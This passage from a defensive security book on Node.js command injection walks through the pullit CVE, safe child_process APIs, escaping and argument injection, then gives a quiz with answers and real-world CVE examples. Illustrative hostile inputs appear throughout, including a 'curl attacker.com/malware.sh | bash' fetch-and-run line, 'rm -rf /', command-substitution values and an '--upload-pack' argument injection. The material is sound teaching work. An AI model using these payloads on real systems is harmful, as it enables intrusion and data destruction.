It is passed as a string of text to be evaluated by the shell interpreter:

const branch = ";{echo,hello,world}>/tmp/c"


execSync(
`git checkout ;{echo,hello,world}>/tmp/c`
);

The result is that a seemingly innocent branch name is now interpreted as a command to be executed
by the shell interpreter.

Why and how does this branch name work for command injection?

• The leading ; character instructs the shell interpreter to terminate the previous command ( git
checkout), and start the next command to be executed.

• The {…} is a special syntax for the shell interpreter referred to as command grouping which defines
a list of commands to be executed. In this case {echo,hello,world} expands into the command
echo hello world .

• The last part of this user input which acts as a malicious payload is >/tmp/c that instructs the shell
program to direct all standard output (> is the notation for stdout) of the command ( echo hello
world) into the file path identified as /tmp/c.

The question at this point becomes - is it really possible to name a Git branch

70 | Chapter 8. CVE-2018-25083: Command Injection in pullit


;{echo,hello,world}>/tmp/c ? The remarkable answer is yes. It’s absolutely possible, and in fact you
will be able to this branch to GitHub and it will show up as is:

Figure 17. GitHub UI shows a perfectly valid and legitimate Git branch name with dangerous characters
impacting operating system shell interpreters and may result in command injection.

8.2. Exploiting the Security Vulnerability


As we learned by reviewing pullit’s source code, the pullit npm package makes insecure
use of system process API (such as employing the user of `exec() or execSync() with
insecure user input). This makes the tool vulnerable to malicious user input based on a remote branch
name on the GitHub platform (and potentially other Git source control management systems).

This is made especially severe due to the GitHub workflow for open-source contributions which
embraces forking projects by third-party contributors who control their branch name. This results in the
risk of tricking innocent users who use the pullit tool to pull their branch and execute arbitrary
commands.

1. Create a branch that could potentially terminate an exec() command and concatenate a new
command: git checkout -b ";{echo,hello,world}>/tmp/c" .

2. Push it to GitHub and create a pull request with this branch name.

Chapter 8. CVE-2018-25083: Command Injection in pullit | 71


3. Run pullit , select the pull request with the title matching the dangerous source branch to checkout
locally.

4. Confirm the following file has been created /tmp/c with the contents of "hello world".

8.3. Reviewing the Security Fix


To fix this issue, the maintainer applied the following commit, most notably exchanging execSync with
execFileSync which separates the command from its arguments, and provides protection against user
input concatenation. Following is a partial snippet of the committed fix:

execFileSync("git", ["fetch", "origin", `pull/${id}/head:${branch}`]);


execFileSync("git", ["checkout", branch]);

This was indeed an effective fix against string concatenation in which user input flowed into the overall
command passed to the shell interpreter.

72 | Chapter 8. CVE-2018-25083: Command Injection in pullit


8.4. Lessons Learned
In this chapter, we reviewed the security vulnerability in the pullit package discovered in 2018. The
vulnerability allowed an attacker to execute arbitrary commands on the host system by specifying a
specially crafted Git branch name.

One of the key takeaways from this case is that command-line tools are not immune to security
vulnerabilities, despite being less commonly used than application libraries. In fact, CLIs can be just as
vulnerable as web applications or other types of software, and should be treated as such. Developers
and security practitioners should not immediately ignore vulnerabilities associated with CLIs as false
positives.

We also learned about the dangers of assuming input always comes from expected and trusted sources.
We saw how seemingly innocuous data sources can be exploited to execute harmful commands.
Specifically, we learned that user input may originate from unexpected sources, such as a Git branch
name. In addition, characters like the semicolon (;) can take on a different meaning when flowing into
sensitive system APIs such as command execution. This highlights the importance of implementing
proper input validation and sanitization techniques to prevent potentially harmful commands from
being executed on a system.

Eventually, the pullit vulnerability was caused by the package’s misplaced trust in Git naming
conventions. This naive assumption was abused by an attacker to execute arbitrary commands.

Overall, this chapter highlights the importance of proactive security approaches in software
development. It also highlights the importance of following security best practices such as using
execFile vs exec. This would have helped mitigate this security vulnerability.

[1] Command-line tools by Liran Tal: https://github.com/lirantal/dockly, https://github.com/lirantal/awesome-nodejs-security and


https://github.com/lirantal/npq

Chapter 8. CVE-2018-25083: Command Injection in pullit | 73


Chapter 9

Defending Against Command Injection

Following are curated secure coding best practices for preventing command injection attacks in Node.js
applications. We look at the different ways command injection vulnerabilities can be introduced. We
reflect on the subtleties of incorrectly using child process APIs, and address each attack vector with
practical secure coding advice.

Learnings

By the By the end of this summary chapter, you will be skilled at secure coding practices, perform
secure code reviews and answer questions such as:

• Which Node.js process executing APIs are recommended as safe methods to execute
commands?

• What are the security implications of using the shell option of the child_process APIs?

• When and how should you escape user input to prevent command injection vulnerabilities?

• How do you effectively protect against argument injection attacks?

• What are the security implications associated with invoking the npm package manager’s run-
scripts?

74 | Chapter 9. Defending Against Command Injection


9.1. Node.js child_process: Choosing the Right API
for Secure Command Execution
When writing secure code in Node.js that involves executing child processes, it’s critical to know the
potential vulnerabilities that exist. It’s also important to follow secure coding conventions to avoid them.

The Node.js core module for process execution is child_process. However, some of its APIs, such as
exec, can lead to command injection security vulnerabilities, even when developers attempt to sanitize
user input.

The following properties of the exec function make it an extremely dangerous programming interface
and highly vulnerable to command injection attacks.

9.1.1. Commands Passed as Strings

When the command to execute is passed as a string, developers often use string concatenation to build
the command. This may lead to command injection vulnerabilities. Even when developers attempt to
apply security controls such as sanitizing user input, they often miss edge cases that can lead to
vulnerabilities.

const { exec } = require('child_process');

exec(`echo ${userInput}`, (err, stdout, stderr) => {


if (err) {
console.error(`exec error: ${err}`);
return;
}
console.log(`stdout: ${stdout}`);
});

9.1.2. Commands Executed Within a Shell

When the command is executed within a shell it increases the attack surface and creates additional
concerns for developers to produce security controls that mitigate the risks. Running commands within a
shell allows the attacker to use shell features like shell expansion, shell globbing, logical operators and
other capabilities. These features allow them to execute commands by chaining them together with
semicolons.

Considering the above code snippet, what if the value for userInput is echo "; rm -rf /" ? The

Chapter 9. Defending Against Command Injection | 75


command will be executed is echo ; rm -rf / , which deletes the entire file system. This is a
command injection vulnerability.

As a developer, you might rush to implement sanitization controls to prevent command injection from
taking place. However, there are other ways to abuse commands executed inside a shell. Consider the
following user inputs:

$(whoami > /tmp/whoami)


The shell command is wrapped with the use of the $() syntax for command substitution. This allows
one command’s output to be used as input for another command. In this case, the whoami command
is executed to get the current user’s username and the output is redirected to a file at /tmp/whoami
using the > shell operator.

thisdoesntexist || curl attacker.com/malware.sh | bash


This attack vector uses the logical OR operator ( ||) to ensure that the right-hand side of the
command will be executed if the first command fails.

curl attacker.com/malware.sh | bash #


This payload uses the # character to comment out the rest of the command line. This is so that the
injected command is executed first if placed before other concatenated input, and then the rest of
the intended command is ignored.

As alternatives to exec(), developers should use safer child_process APIs with a shell environment
disabled: execFile() and spawn().

Both APIs are safe to use due to two key properties - they isolate the command from its arguments and
do not execute commands within a shell.

Let’s explore these topics in more detail in the following sections.

9.1.3. Isolate Commands From Their Arguments

This means that the command and its command-line arguments are passed as function arguments to
the execFile and spawn APIs instead of a single string that requires string interpolation. This effectively
removes the developer’s burden of sanitizing user input.

NOTE

Since the command is not executed inside a shell, the notion of a shell environment doesn’t exist.

Therefore, there’s no notion of paths available to look up commands. This means that the
command function parameter needs to be specified as the full path to the executable.

76 | Chapter 9. Defending Against Command Injection


9.1.4. Default to Executing Commands Outside a Shell Environment

This means that shell features such as command substitution, globbing, and logical operators are not
available to an attacker. This makes it harder for an attacker to inject malicious commands as part of the
command as there is no shell to interpret them.

NOTE

Both execFile() and spawn() allow commands within a shell by setting the shell option to
true (or providing the shell program’s file path as a string). However, this is turned off by default

and is an effective security control as such. If these functions are used with the shell option set
to true, the developer must ensure that the command and its arguments are properly escaped.
This is to prevent command injection vulnerabilities.

Following is an example of the execFile API:

const { execFile } = require('child_process');

// We're only passing the PATH environment variable to


// the child process that executes the `stat` command. This helps
// to minimize the risk of sensitive information being leaked
// to the child process.
const childProcessEnv = { PATH: process.env.PATH };

execFile('stat', [userInput], { childProcessEnv }, (err, stdout, stderr) => {


if (err) {
console.error(`execFile error: ${err}`);
return;
}
console.log(`stdout: ${stdout}`);
});

9.1.5. Summarizing Recommendations for Hardened APIs Usage

In summary, consider the following high-level security takeaways when using the child_process
module:

1. Do not use string interpolation to build the command.

2. Use execFile() or spawn() instead of exec().

3. Do not use the shell option of the above recommended APIs, unless absolutely necessary and with

Chapter 9. Defending Against Command Injection | 77


adequate shell quoting as a security control in place.

4. Minimize environment variables information when using the execFile() and spawn() APIs to
ensure no sensitive information is leaked to system processes.

9.2. Secure Command Execution Through Escaping


Techniques
When attempting to execute commands inside a shell, developers need to carefully escape user input to
prevent command injection vulnerabilities.

It is highly discouraged for developers to implement command-line arguments sanitization on their own
or to implement escaping via shell programs. Instead, use well-known, maintained and up-to-date npm
packages that perform commands and command-line arguments escaping for you.

One such package is shell-quote, which provides a function for escaping shell arguments used in Node.js
applications. The shell-quote library supports both Unix-like shells and Windows command prompts,
making it cross-platform. Once installed, you can use the quote() function to escape command
arguments.

For example, let’s say we need to run the git program inside a shell and print the commit log of a user-
specified file name under version control. The following code snippet demonstrates how to do this
securely:

1 const { execFile } = require("child_process");


2 const { quote } = require("shell-quote");
3
4 const userFilePath = "information.txt; touch /tmp/hacked";
5 const safeUserFilePath = quote([userFilePath]);
6
7 execFile(
8 'git', ["log", safeUserFilePath], { shell: true },
9 (error, stdout, stderr) => {
10 if (error) {
11 console.error(`execFile error: ${error}`);
12 return;
13 }
14 console.log(`stdout: ${stdout}`);
15 console.error(`stderr: ${stderr}`);
16 }
17 );

78 | Chapter 9. Defending Against Command Injection


In the above code, we use the quote function from shell-quote to apply string quotes to the file name
that originates from user input. This ensures it is passed to the git command as a single argument
specifying the name of the file. It is also without any shell expansions or other command injection
payloads that may take advantage of shell capabilities and abuse them.

The result will be an error message from the git program:

execFile error: Error: Command failed: git log 'information.txt; touch


/tmp/hacked'
fatal: ambiguous argument 'information.txt; touch /tmp/hacked': unknown
revision or path not in the working tree.
Use '--' to separate paths from revisions, like this:
'git <command> [<revision>...] -- [<file>...]'

If we didn’t properly escape the branch variable using proper quoting, despite using execFile or spawn,
the attacker could have injected a command that would have been executed by the shell (because we
passed the shell option to these APIs). That attack would have resulted in a new file at /tmp/hacked.

When does escaping become necessary and to which API calls should it be applied? The following table
summarizes the escaping requirements for the child_process APIs:

API Reference function signature Inside Escaping


shell? required?
exec() exec('git log ' + Yes Yes
quote(userInputFileName))
execFi execFile('git', ['log', No No
le() userInputFileName])
spawn( spawn('git', ['log', userInputFileName]) No No
)
execFi execFile('git', ['log', Yes Yes
le() quote(userInputFileName)], { shell: true
})
spawn( spawn('git', ['log', Yes Yes
) quote(userInputFileName)], { shell: true
})
execFi execFile('git log ' + Yes Yes
le() quote(userInputFileName), { shell: true })

Chapter 9. Defending Against Command Injection | 79


spawn( spawn('git log ' + Yes Yes
) quote(userInputFileName), { shell: true })
Table 1. Command Arguments Escaping Requirements for Child Process Node.js APIs

9.2.1. Mitigate Risks from Untrusted Command Arguments

So far we have discussed how to use safe child_process APIs to execute system processes. We have
also discussed the importance of escaping user input when programs execute within shells. However,
there is an additional attack vector that can be abused even when using a safe API such as execFile()
without running the program inside a shell and that is Argument Injection.

Argument injection is a security vulnerability that occurs when untrusted user input is passed as an
argument to a command-line program or a system call without proper validation or sanitization.
Attackers can take advantage of this vulnerability to pivot the original command from its intended
behavior to a different one altogether. This can potentially result in arbitrary commands being executed
on an affected system. Potential risk can result in anything from unauthorized access to sensitive data,
or a denial of service by crashing the system.

Consider the following example which demonstrates how to fetch a remote branch from a Git repository
with the user controls the remote branch name:

const task = execFile('git',


[
'fetch',
req.body.remote
req.body.branch
]
);

In the above example, the remote parameter is passed as an argument to the git program without
validation or sanitization. While generally, this wouldn’t be an issue because the execFile() API here
doesn’t run the program inside a shell. However, an attacker could still abuse this vulnerability by using
Git’s own command-line arguments to instruct it to execute a command of their choice. For example, the
attacker could pass the following values as the remote and branch name parameters and cause the git
program to execute the touch command:

curl http://example.com \
-X POST \
-H "Content-Type: application/json" \
-d '{"remote": "--upload-pack=/bin/touch", "branch": "/tmp/hacked"}'

80 | Chapter 9. Defending Against Command Injection


To prevent command injection vulnerabilities, it is imperative to validate and sanitize command
arguments when dealing with untrusted input that flows into a program.

Following are best practices to mitigate the above-mentioned risks of argument injection:

9.2.2. Validate Command Argument for Expected Schema

Developers should validate user input that flows into a command argument with a schema to ensure it
conforms to expected values and types. For example, if a command argument should only contain
alphanumeric characters, developers should validate the input to ensure that it doesn’t contain any
special characters or control characters that could be used for injection attacks. Another example would
be to validate the expected format. For example, if an input is intended to be a URL, developers should
validate that it conforms to that along with the allowed protocol scheme.

9.2.3. Limit Command Arguments Scope with an Allow-list

Developers should use an allow-list of known, safe command arguments to prevent injection attacks. By
using an allow-list, developers can limit the potential impact of an injection attack by only accepting a
predefined set of values.

const { execFile } = require("child_process");

function gitCheckout(branchName) {
const allowedBranches = ["main", "master"];
if (!allowedBranches.includes(branchName)) {
throw new Error("Invalid branch name");
}

execFile("git",
["checkout", branchName], (error, stdout, stderr) => {});
}

In the above code example, the branchName command-line argument is validated against an allow-list of
known, deemed-safe branch names by the developer.

9.2.4. Isolate Command Arguments with the Double-Dash Separator

Use the special shell '--' argument to separate the command from its arguments

Chapter 9. Defending Against Command Injection | 81


Developers should use the special shell argument -- to separate the command from its command-line
arguments. This double-dash effectively acts as a delimiter to ensure that any subsequent arguments
are treated as positional arguments and not as options to the command (such as --upload-pack in the
above introductory example), preventing argument injection attacks.

Following is an example of how to use the double-dash separator to separate the command from its
arguments:

const { execFile } = require('child_process');

function decompressArchive(archiveName) {
execFile('tar',
['-xvf', '--', archiveName], (error, stdout, stderr) => {});
}

9.3. Proactive Prevention of Command Injection


Vulnerabilities
The following are additional recommendations to prevent command injection vulnerabilities and
practice proactive security controls when executing system processes from Node.js applications:

1. Limit the execution of commands to only those necessary for application functionality. Do not allow
user input to control the program to be executed. Ensure you use a closed mapping for a set of
commands that are known to be safe.

const { execFile } = require('child_process');

const allowedCommands = {
'git': '/usr/bin/git',
'ping': '/bin/ping',
};

function executeCommand(command, args) {


const executablePath = allowedCommands[command];
if (executablePath) {
execFile(executablePath, args, (error) => {
if (error) {
console.error(`Error executing command: ${error}`);
return;
}
}

82 | Chapter 9. Defending Against Command Injection


}

executeCommand('ping', ['-c', '2', userIP]);


executeCommand('git', ['status']);

2. Avoid invocations of npm’s run-scripts to execute programs. Regardless of whether you concatenate
strings or use parameterized commands or arguments, the npm run command should be avoided at
all costs. In the following example, both exec and execFile are vulnerable to command injection
attacks:

const { exec, execFile } = require('child_process');

exec(`npm run ${userInput}`, (err, stdout, stderr) => {});


execFile('npm', ['run', userInput], (err, stdout, stderr) => {});

9.4. Additional Security Controls


To reduce command injection attacks, developers can use additional security controls in addition to
secure coding practices. These extend to maintaining a healthy dependency tree, reviewing
dependencies for known security issues, employing static application security testing and being
prepared for unpatched vulnerabilities.

9.4.1. Keep Dependencies Up to Date

Developers should keep their dependencies up to date with the latest security fixes to prevent command
injection class of security vulnerabilities impacting their web applications.

Introduce Software Composition Analysis (SCA) tools to your CI/CD pipeline to automate the process of
identifying vulnerable dependencies and updating them to the latest versions.

Prioritize tools that provide actionable remediation guidance and streamline dependency updating
through highly integrated developer workflows such as:

1. Available as an IDE extension so developers can quickly learn and mitigate vulnerabilities.

2. Available as a command-line tool so developers can integrate it into custom workflows.

3. Low false positive rates to reduce noise and decrease friction.

Chapter 9. Defending Against Command Injection | 83


9.4.2. Static Application Security Testing

When developers fall short of implementing secure coding practices and are unaware of the risks to
application security, a specific type of application security testing can help them identify and remediate
vulnerabilities in their code.

Static application security testing (SAST) tools analyze a program’s source code through call graphs and
can help developers identify command injection vulnerabilities in their code by calling out high-risk
source-to-sink findings.

SAST tools can be integrated into the CI/CD pipeline to automate the scanning code for vulnerabilities
and provide actionable remediation guidance to developers. However, they’re even more effective as
developer security tooling integrated into developer workflows:

1. As IDE extensions, they provide timely feedback to developers and alert them to insecure code as
they write it.

2. Fast IDE feedback loop to provide real-time guidance to developers.

3. Provide developers with just-in-time guidance about insecure code findings and remediation
recommendations.

9.4.3. Review A Dependency Source Code

Developers should review a dependency’s source code to learn the overall design and trade-offs
practiced by the maintainer. Preferably, this due diligence should be performed before adding a
dependency to your project.

While this is not an easily applied tactic for a project’s entire dependency tree, developers should
prioritize the dependencies used for critical areas of the application.

9.4.4. Be Prepared for Unpatched Vulnerabilities

A vulnerability fix for open-source software is not guaranteed to be available, nor is it guaranteed to be
available in a timely manner. Having contingency plans in place to mitigate the impact of unpatched
vulnerabilities in open-source packages requires developers to be prepared for unpatched
vulnerabilities.

84 | Chapter 9. Defending Against Command Injection


Chapter 10. Appendix

10.1. Test Your Knowledge


In this section, you can check your understanding of the concepts and best practices presented in the
book through multiple-choice questions, fill-the-blank stories and yes-no questions. Answer them to the
best of your ability, and check your answers at the end of the section.

TIP

If you are using this book to train others, it is highly recommended that you use these sets of
questions to test your audience’s understanding of the concepts presented in the book and how
well they have internalized the material.

To do that, you should use these questions to assess their skill-set before and after training. This
will help you identify areas of improvement and better understand the effectiveness of the
expertise gained by reading and practicing the exercises in this book.

Select the correct answer (some questions may have multiple correct answers), fill in the blanks, and
answer to the best of your knowledge the following questions:

1. What are the types of command injection vulnerabilities?

a. Argument Injection

b. Command Injection

c. Blind Command Injection

d. Stored Command Injection

2. What are the best practices to prevent command injection vulnerabilities in Node.js?

a. Use a secure API that provides a safe way to execute shell commands, such as
child_process.execFile

b. Validate user input to expected schema, length and types

c. Use the POSIX double-dash to separate arguments from options

d. Map user input to an allow-list of pre-defined command-line arguments

Chapter 10. Appendix | 85


e. Use a firewall to block incoming requests

3. What is the danger of using child_process.exec to execute shell commands in Node.js?

a. It is slower than other methods of executing shell commands

b. It does not work on all operating systems

c. It is not compatible with other Node.js APIs

d. It allows an attacker to inject arbitrary shell commands and execute them on the server

4. Fill the blanks in the following paragraph (multiple words may apply):

Command injection vulnerabilities occur when user input is ____________


and executed as a command by the application. A security control such as
____________ can help prevent command injection vulnerabilities. In
Node.js, using the ____________ npm package can help prevent command
injection vulnerabilities when using unsafe APIs such as ____________
because it ____________ in user input.

5. What is the best way to prevent Argument Injection?

a. Encrypt all user input before using it in an operating system command

b. Use the POSIX double-dash to separate arguments from options

c. Validate all user input before using it in an operating system command

d. Encode shell meta characters in user input before passing them to child_process.exec

6. What is the difference between child_process.exec and child_process.spawn in Node.js?

a. child_process.exec is faster than child_process.spawn

b. child_process.exec spawns a shell to execute the command, while child_process.spawn


does not

c. child_process.spawn only works on Windows servers

d. child_process.spawn separates the command from its command-line arguments

7. What is a common technique used by attackers to bypass command injection security


controls in Node.js applications?

a. Using a proxy server to modify input before it reaches the Node.js server

b. Using a brute-force attack to guess valid input to a command string

c. Using special characters and escape sequences to inject additional commands

d. Encoding command-line flags as binary data instead of text

8. What is the danger of using user input to construct a command-line string in Node.js?

a. It can cause the server to run out of memory

b. It can cause the server to become unresponsive

86 | Chapter 10. Appendix


c. It can cause the server to crash if the input is too long

d. It allows an attacker to inject additional commands or modify the intended command

9. Fill the blanks in the following paragraph (multiple words may apply):

In a command injection attack, an attacker can ___________ malicious code


into an application's command line. Command injection attacks can be
mitigated by using ___________, ___________ and ___________ techniques. In
Node.js applications, command injection attacks can occur when using the
___________ module to execute shell commands.

10. Fill the blanks in the following paragraph (multiple words may apply):

A common method used by attackers to exploit command injection


vulnerabilities is to inject a ___________ character into the command
line. To prevent command injection attacks, it is recommended to use the
___________ API.

[1]
11. Given the following code snippet

def _git(cmd, args, cwd="/"):


proc = run(["git", cmd, *args], stdout=PIPE, stderr=DEVNULL, cwd=cwd,
timeout=5)
return proc.stdout.decode().strip()

@app.route("/blame", methods=["POST"])
def blame():
url = request.form.get("url", "https://github.com/package-url/purl-
spec.git")
what = request.form.getlist("what[]")
with TemporaryDirectory() as local:
if not url.startswith(("https://", "http://")):
return make_response("Invalid url!", 403)
_git("clone", ["--", url, local])
res = []
for i in what:
file, lines = i.split(":")
res.append(_git("blame", ["-L", lines, file], local))
return make_response("\n".join(res), 200)

a. Is the above code vulnerable and why?

b. If the above is vulnerable, what security controls can you apply?

Chapter 10. Appendix | 87


[2]
12. Given the following code snippet

const execa = require('execa');

async installPlugin(ctx) {
try {
const { plugin } = ctx.request.body;
strapi.reload.isWatching = false;

strapi.log.info(`Installing ${plugin}...`);
await execa('npm', ['run', 'strapi', '--', 'install', plugin]);

ctx.send({ ok: true });

strapi.reload();
} catch (err) {
strapi.log.error(err);
strapi.reload.isWatching = true;
ctx.badRequest(null, [{ messages: [{ id: 'An error occurred' }] }]);
}
},

a. Is the above code vulnerable and why?

b. If the above is vulnerable, what security controls can you apply?


[3]
13. Given the following code snippet

var exec, execSmart;


exec = require('child_process').exec;

module.exports.raw = execSmart = function(args, cb) {


return exec("smartctl " + args, {
maxBuffer: 1024 * 1024 * 24
}, function(e, stdout, stderr) {
var lines;
lines = stdout.split('\n').slice(0, -1);
if (e != null) {
return cb(lines.slice(3), []);
} else {
return cb(null, lines.slice(4));
}
});
};

88 | Chapter 10. Appendix


a. Is the above code vulnerable and why?

b. If the above is vulnerable, what security controls can you apply?

14. Given the following code snippet:

'use strict';
const express = require('express');
const { execFile } = require('child_process');

const app = express();

app.get('/git-log', (req, res) => {

const filename = req.query.filename;


const command = 'git';
const args = ['log', filename];

const filterShellEscapeChars = /['";&|`$><*()]/;


if (filterShellEscapeChars.test(filename)) {
console.error('Invalid filename');
res.status(400)
.send('Invalid filename');
return;
}

execFile(command, args, (error, stdout, stderr) => {


if (error) {
console.error(`execFile error: ${error}`);
res.status(500)
.send(`execFile error: ${error}`);
return;
}

res.send(stdout);
});
});

app.listen(3000, () => {
console.log('Server running on port 3000');
console.log('Try: curl http://localhost:3000/git-log?filename=README.md
')
});

a. Is the above code vulnerable and why?

b. If the above is vulnerable, what security controls can you apply?

Chapter 10. Appendix | 89


[4]
15. Given the following code snippet

module.exports = function (commandOrArgs, optionsOrCallback,


callbackMaybe) {

const callback = [
optionsOrCallback,
callbackMaybe,
defaultCallback,
].find(isFunction);
const options = [
optionsOrCallback,
callbackMaybe,
defaultOptions,
].find(isObject);

if (isString(commandOrArgs) && commandOrArgs.startsWith("git ")) {


commandOrArgs = commandOrArgs.substring(4);
}

const execBinary = options.gitExec || "git";


const execOptions = {
cwd: options.cwd,
windowsHide: true
};

const execArguments = isString(commandOrArgs)


? commandOrArgs.split(" ")
: commandOrArgs;

return execFile(execBinary, execArguments, execOptions)


.then(
({stdout}) => callback(stdout, null),
(error) => {
if (callback.length === 1) {
throw error;
} else {
return callback("", error);
}
});
};

a. Is the above code vulnerable and why?

b. If the above is vulnerable, what security controls can you apply?

90 | Chapter 10. Appendix


[5]
16. Given the following code snippet

const spawn = require('child_process').spawn;

send(mail, done) {
// Sendmail strips this header line by itself
mail.message.keepBcc = true;

let envelope = mail.data.envelope || mail.message.getEnvelope();


let messageId = mail.message.messageId();
let args, sendmail, returned, transform;

if (this.args) {
// force -i to keep single dots
args = ['-i'].concat(this.args).concat(envelope.to);
} else {
args = ['-i'].concat(envelope.from ? ['-f', envelope.from] :
[]).concat(envelope.to);
}

let callback = err => {


if (returned) {
return;
}
returned = true;
if (typeof done === 'function') {
if (err) {
return done(err);
} else {
return done(null, {
envelope: mail.data.envelope || mail.message.getEnvelope(),
messageId, response: 'Messages queued for delivery'
});
}
}
};

try {
sendmail = spawn(this.path, args);
}
};

a. Is the above code vulnerable and why?

b. If the above is vulnerable, what security controls can you apply?

Chapter 10. Appendix | 91


17. Is it safe to use single or double quotes to wrap user input in shell commands?

a. Yes

b. No

18. Can command injection be prevented by using deny-list techniques?

a. Yes

b. No

19. Using parameterized command-line arguments API is a good way to prevent command injection, but
is not enough. Correct?

a. Yes

b. No

20. The following code snippet is a safe and secure way to execute shell commands with user input
passed as arguments array spawn(command, args, { shell: true }) :

a. Yes

b. No

92 | Chapter 10. Appendix


10.1.1. Answers

The correct answers are as follows:

1. a) to c)

2. a) to d)

3. d)

4. fill in the blank:

a. 'not sanitized'

b. 'input validation'

c. 'shelljs'

d. 'exec'

e. 'escapes special characters'

5. b) and c)

6. b) and d)

7. c)

8. d)

9. fill in the blank:

a. 'inject'

b. 'secure system process APIs'

c. 'input validation'

d. 'POSIX double-dash end of arguments'

e. 'child_process'

10. fill in the blank:

a. 'semicolon' (also acceptable: 'shell meta characters' and variations of these)

b. 'execFile' (also acceptable: 'spawn' and their synchronous counterparts)

11. Skipped open question for code

12. Skipped open question for code

13. Skipped open question for code

14. Skipped open question for code

15. Skipped open question for code

16. Skipped open question for code

17. Yes/No question:

a. No

Chapter 10. Appendix | 93


18. Yes/No question:

a. No

19. Yes/No question:

a. Yes

20. Yes/No question:

a. No

Questions 11 to 16 are questions that are more suitable for group discussion.

10.2. Command Injection in the Wild


The following sections provide references to Command Injection and Argument Injection security
vulnerabilities discovered in the wild, impacting both closed-source vendor software and open-source
software.

These vulnerabilities are provided as real-world examples and can be used to better understand and
convey the impact of command injection vulnerabilities to your stakeholders, security, and development
teams. You are encouraged to use these examples to communicate and engage your organization in
application security. In particular, the importance of preventing command injection vulnerabilities.

Suggested activities include:

1. Review the provided source code examples and discuss command injection vulnerability risks with
your team.

2. Developers can engage in an exercise to identify potential issues with the libraries below. This is a
way to engage and educate your team about application security. Are they asking the right
questions? Are they looking in the right places? Are they using the appropriate tools? Are they
practicing secure coding techniques? Are they employing a defensive programming mindset?

3. Create trivia-like questions that show a code snippet and test their understanding of insecure coding
conventions.

4. Create trivia-like questions to test your team’s knowledge of command injection vulnerabilities. For
example, "What is the most common way to prevent command injection vulnerabilities?" or "What is
the most common way to detect command injection vulnerabilities?"

5. Create a game where developers are given a code snippet and asked to identify the vulnerability. For
example, "What is the vulnerability in the following code snippet?"

6. Establish Capture The Flag (CTF) challenges where developers are given a code snippet and asked to
identify the vulnerability. For example, "What is the vulnerability in the following code snippet?"

94 | Chapter 10. Appendix


10.2.1. Command Injection in GitHub Actions

Can you spot the vulnerability in the following GitHub Actions workflow?

name: app-ci
on:
issue_comment:
types: [created]
jobs:
comment-action:
runs-on: ubuntu-latest
steps:
- name: Echo issue comment
run: |
echo ${{ github.event.comment.body }}

On January 5th, 2023, Security researcher Karim Rahal disclosed their findings of how a command
injection vulnerability in GitHub Actions could be exploited to execute code. This results in secrets being
leaked.

Rahal’s findings extend to both GitHub’s infrastructure and self-hosted runners that organizations can
use to run their workflows and demonstrate how different usages of GitHub Actions workflows, such as
JavaScript-based runners, are also vulnerable to command injection attacks.

10.2.2. Command Injection in Networking & Security Appliances

One kind of vulnerable software that isn’t an obvious target for developers is that which runs networking
and security appliances.

These devices are often looked at as opaque hardware machines and to some it may not be immediately
apparent that they are mostly software-based. They range from simple network routers to complex
security appliances, such as firewall endpoints, webcams and printers.

While these devices aren’t top of mind for the general public, they are often an easy and lucrative attack
target for attackers:

1. They are often deployed in enterprise environments which naturally creates an opening for an
internal office network.

2. They are often not kept up-to-date with firmware releases. As a result, they are more susceptible to
security vulnerabilities.

3. These devices aren’t uniquely crafted software, but rather mass-produced and mass-consumed

Chapter 10. Appendix | 95


software. This means that a CVE report for a security vulnerability in an appliance exposes many
victims to attack.

NOTE

Cybersecurity agencies often issue critical alerts to the public regarding security issues in such
appliances based on the above criteria.

For example, the Cybersecurity & Infrastructure Security Agency (CISA), issued the ICSA-23-110-01
[6]
advisory on April 20, 2023, to alert against a CVSS 10 (critical) vulnerability in the INEA ME RTU
remote terminal unit. You probably never heard of it before but this equipment is used in
industrial control systems such as power plants, water treatment plants, and transportation. The
security vulnerability identified in this device is related to a command injection vulnerability

accessible via the web interface.

[7]
Another example is QNAP’s CVE-2020-2509 which details an XML command injection
vulnerability impacting a Network Attached Storage (NAS) device. Based on Shodan, a search
engine for internet-connected devices, at the time of publishing the CVE it was estimated that this
public-facing appliance was exposed to more than 350,000 unique IP addresses. In response to
the potential impact of this vulnerability being exploited in the wild, CISA included this CVE as
[8]
part of its Known Exploited Vulnerabilities Catalog . It also featured it in its 2021 Top Routinely
[9]
Exploited Vulnerabilities advisory. More on this command injection vulnerability and its
findings can be found in SAM’s blog writeup.

The following are some examples of security vulnerabilities identified in networking and security
appliances:

[10]
1. CVE-2021-28800 discloses a command injection vulnerability reported to affect QNAP NAS running
legacy QTS versions. QNAP was found vulnerable multiple times to command injection
[11]
vulnerabilities. One such security issue from 2017 allows remote code execution and features
publicly available exploit code on the web.
[12]
2. CVE-2022-1388 discloses remote code execution vulnerabilities stemming from command injection
in F5’s BIG-IP networking and security appliance. Proof of concept exploits and evidence of
exploitation in the wild have been published and observed in public chatter.

Exercises

The following are recommended exercises to engage your team in real-world implications of command
injection vulnerabilities in the wild:

1. Find a CVE report for a command injection vulnerability in a Linksys device (or networking or security
appliance). Discuss the impact of this vulnerability and how it could be exploited in the wild. Find a

96 | Chapter 10. Appendix


proof-of-concept exploit for this vulnerability and discuss how it works. (Hint: ExploitDB is one
reference example).

2. Can you find a top-tier vulnerability that was exploited in the wild and features a command injection
attack vector? Top tier vulnerabilities are those so widespread and dangerous that they have been
recognized with their own names. (Hint: Shellshock CVE-2014-6271 and exploitable container use-
case).

10.2.3. Vulnerable sketchsvg

SketchSVG is an official eBay library for converting Sketch files to SVGs.

The CVE-2023-26107 security advisory published on March 6th, 2023, describes a command injection
vulnerability in the runCmdLine function of the sketchsvg library. The vulnerability is caused by the
shell.exec function, which is vulnerable to command injection. The shell.exec function executes a
command line tool to convert Sketch files to SVGs.

The vulnerable code manifests in lines 109-120 of the sketchsvg/lib/index.js file as follows:

sketchsvg/lib/index.js

runCmdLine(allLayers, fileName) {
return new Promise((resolve, reject) => {
allLayers.layers.forEach((layerObj, idx) => {
const id = layerObj.id;
const name = encodeURIComponent(layerObj.name);
/* eslint-disable max-len */
shell.exec(`${sketchTool} export layers ${fileName} --item=${id}
--filename=${Math.random()}--${name}.svg --output=${__dirname}/tmpsvgs
--formats=svg`);
count++;
resolve();
});
});
}

Exercises

The following are recommended exercises to engage your team in application security:

1. Identify the vulnerability in the code snippet above.

2. Identify the source and sink of the vulnerability.

Chapter 10. Appendix | 97


3. Are there other vulnerable functions in this version of the library’s source code?

